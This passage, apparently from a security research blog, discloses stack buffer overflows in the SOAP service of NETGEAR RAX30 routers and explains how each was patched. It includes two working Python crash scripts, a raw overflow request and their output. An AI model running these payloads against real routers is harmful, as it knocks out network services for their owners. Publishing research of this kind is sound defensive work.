#!/usr/bin/env python3 import argparse import requests import urllib3 import ssl import socket def overflowHTTPProtocol(hostname, port, payload): request = """POST /soap/server_sa/ """+payload+""" User-Agent: ksoap2-android/2.6.0+ SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A Content-Length: 1 Host: """+hostname+""":"""+str(port)+""" A""" # Create SSL context cxt = ssl.create_default_context() cxt.check_hostname = False cxt.verify_mode = ssl.CERT_NONE # HTTPS Request response = b"" with socket.create_connection((args.domain, args.port)) as sock: with cxt.wrap_socket(sock, server_hostname=args.domain) as ssock: ssock.send(request.encode()) while True: data = ssock.recv(2048) if len(data) <= 0: break response += data return response if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description='Crash the soap_serverd binary on NETGEAR RAX30 router with a protocol buffer overflow.') parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.') parser.add_argument('--port', default=5043, type=int, help='The router soap server port.') args = parser.parse_args() # Trigger Protocol Overflow payload = ('A' * 2048) + ('B' * 2048) + ('C' * 2048) + ('D' * 4) print('Sending payload...') overflowHTTPProtocol(args.domain, args.port, payload) # Check we have crashed the SOAP service try: requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data='A', headers={ 'User-Agent': 'ksoap2-android/2.6.0+', 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A', }, verify=False) print('Payload failed to crash server.') except requests.exceptions.ConnectionError as e: if 'Connection refused' in str(e) or 'Connection aborted' in str(e): print('Payload crashed server!') else: print(str(e))
On execution, the payload will be sent to the SOAP service and cause it to crash on vulnerable firmware versions.
└─$ python3 soap_protocol_overflow.py --domain 192.168.1.1 --port 5043 Sending payload... Payload crashed server!
The patch reduces the buffer sizes of the method, path and protocol
buffers. It restricts the total read size of the fgetsFile
function to 2048 bytes. It then limits the sscanf
buffer
copy size to 511 bytes for each of the 512 byte buffers.
int handle_soapRequest(char *ip) { ... char line [2048]; char method [512]; char path [512]; char protocol [512]; char soapAction [2048]; char body [2048]; ... memset(line, 0, 2048); memset(method, 0, 512); memset(path, 0, 512); memset(protocol, 0, 512); ... int readCount = _fgetsFile(line, 2048); ... int iVar1 = __isoc99_sscanf(line, "%511[^ ] %511[^ ] %511[^ ]", method, path, protocol); ... }
The loop which parses SOAP parameters in soap_action
(0x00016f78
) [21] overflows the
RequestArg requestArgs [16];
variable [22] when more than
16 parameters are provided as there is no check on the number of
parameters [23]. The overwrite however is in the format of a
RequestArg
[24] struct which means that the data being
overwrote is pointers to the controllable parameters.
struct RequestArg // <--- [24] { char* key; char* value; int unk1; }; void soap_action(int param_1, char *action, char *body, char *ip) { ... RequestArg requestArgs [16]; // <--- [22] RequestArg *args = requestArgs; memset(args, 0, 0xc0); ... strcpy(bodyQuery, ":Body>"); bodyParser = strstr(body, bodyQuery); ... bodyParser = bodyParser + 1; ... int argc = 0; do { // <--- [21] ... args->key = bodyParser; args->value = code; argc = argc + 1; args = args + 1; // <--- [23] No check on arg count (argc) } while (pcVar2[1] != '\0'); ... }
The following body payload containing many XML parameters triggers
the requestArgs
stack variable overflow:
POST /soap/server_sa/ HTTP/1.0 User-Agent: ksoap2-android/2.6.0+ SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A Content-Length: 1930 Host: 192.168.2.1:5043 <v:Body><n0:GetInfo><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a></n0:GetInfo></v:Body>
The following proof of concept script (soap_parameters_overflow.py) can be executed to trigger the parameter stack overflow.
#!/usr/bin/env python3 import argparse import requests import urllib3 if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description='Crash soap_serverd binary on NETGEAR RAX30 router with an XML parameters overflow.') parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.') parser.add_argument('--port', default=5043, type=int, help='The router soap server port.') args = parser.parse_args() # Trigger XML parameter overflow parameters = '<a>b</a>' * 236 body = '<v:Body><n0:GetInfo>' + parameters + '</n0:GetInfo></v:Body>' print('Sending payload...') requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data=body, headers={ 'User-Agent': 'ksoap2-android/2.6.0+', 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A', }, verify=False) # Check we have crashed the SOAP service try: requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data='A', headers={ 'User-Agent': 'ksoap2-android/2.6.0+', 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A', }, verify=False) print('Payload failed to crash server.') except requests.exceptions.ConnectionError as e: if 'Connection refused' in str(e) or 'Connection aborted' in str(e): print('Payload crashed server!') else: print(str(e))
On execution, the payload will be sent to the SOAP service and cause it to crash on vulnerable firmware versions.
└─$ python3 soap_parameters_overflow.py --domain 192.168.1.1 --port 5043 Sending payload... Payload crashed server!
This vulnerability was patched by adding a bounds check within the loop [1], causing it to exit the loop when the request argument count reaches 16 to prevent the overflow.
void soap_action(int param_1, char *action, char *body, char *ip) { ... RequestArg requestArgs [16]; RequestArg *args = requestArgs; memset(args, 0, 0xc0); ... strcpy(bodyQuery, ":Body>"); bodyParser = strstr(body, bodyQuery); ... bodyParser = bodyParser + 1; ... int argc = 0; while (bodyParser = strchr(pcVar3 + 1,0x3c), bodyParser != (char *)0x0) { ... argc = argc + 1; args->key = bodyParser; args->value = code; if ((pcVar3[1] == '\0') || (args = args + 1, argc == 16)) break; // [1] - argc bounds check } ... }
Overall, the security posture of custom binaries built by NETGEAR
contained many vulnerabilities, largely due to the widespread usage of
insecure C functions such as strcpy
, strcat
,
sprintf
, or from off-by-one errors. However, the majority
of the binaries on the NETGEAR router were compiled with many
protections in place, including stack canaries, non-executable stack
(NX), position-independent code (PIE) and address layout randomization
(ASLR) enabled. These protections made many of the vulnerabilities
identified difficult to exploit on their own.
The annual Real World Cryptography Conference organized by the IACR recently took place in Tokyo, Japan. On top of 3 days of excellent talks, RWC was preceded by the 2nd annual FHE.org Conference and the Real World Post-Quantum Cryptography Workshop and followed by the High Assurance Crypto Software Workshop. Nearly…
In the last calendar quarter of 2022, Amazon Web Services (AWS) engaged NCC Group to conduct an architecture review of the AWS Nitro System design, with focus on specific claims AWS made for the security of the Nitro System APIs. The public report for this review may be downloaded below:
Different forms of DNS rebinding attacks have been described as far back as 1996 for Java Applets and 2002 for JavaScript (Quick-Swap). It has been four years since our State of DNS Rebinding presentation in 2019 at DEF CON 27 (slides), where we introduced our DNS rebinding attack framework Singularity…